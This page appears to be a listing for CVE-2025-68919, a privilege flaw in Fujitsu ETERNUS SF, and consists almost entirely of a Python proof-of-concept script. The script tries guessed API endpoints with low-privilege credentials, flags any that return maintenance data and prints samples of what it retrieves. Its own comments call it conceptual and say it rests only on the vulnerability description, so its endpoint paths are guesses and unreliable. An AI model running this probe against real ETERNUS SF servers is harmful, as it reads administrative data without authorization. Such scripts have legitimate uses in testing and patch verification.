CVE-2025-68919: Fujitsu ETERNUS SF 维护数据未授权访问漏洞

# CVE-2025-68919 PoC - ETERNUS SF Maintenance Data Access # This PoC demonstrates unauthorized access to maintenance data # Note: This is a conceptual PoC based on the vulnerability description import requests import json TARGET_HOST = "http://target-eterus-sf-server" CVE_ID = "CVE-2025-68919" def check_vulnerability(): """ Check if the target is vulnerable to CVE-2025-68919 The vulnerability allows low-privilege users to access maintenance data that should only be accessible by ETERNUS SF Admin """ print(f"[*] Checking vulnerability: {CVE_ID}") print(f"[*] Target: {TARGET_HOST}") # Attempt to access maintenance data with low-privilege credentials endpoints = [ "/api/v1/maintenance/data", "/api/v1/system/maintenance", "/api/v1/admin/maintenance", "/maintenance/data/export", "/sfmcc/maintenance_info" ] # Using low-privilege session (non-admin user) session = requests.Session() # Low privilege user authentication session.auth = ('low_priv_user', 'password') vulnerable = False for endpoint in endpoints: try: response = session.get(f"{TARGET_HOST}{endpoint}", timeout=10) if response.status_code == 200: data = response.json() # Check if sensitive maintenance data is returned if 'maintenance' in str(data).lower() or 'system_info' in str(data).lower(): print(f"[!] VULNERABLE: {endpoint} returned maintenance data") print(f"[+] Sample data: {json.dumps(data, indent=2)[:500]}") vulnerable = True except Exception as e: continue if vulnerable: print(f"\n[!] Target is VULNERABLE to {CVE_ID}") print("[*] Low-privilege users can access maintenance data") return True else: print(f"\n[*] Target may not be vulnerable or is patched") return False if __name__ == "__main__": check_vulnerability()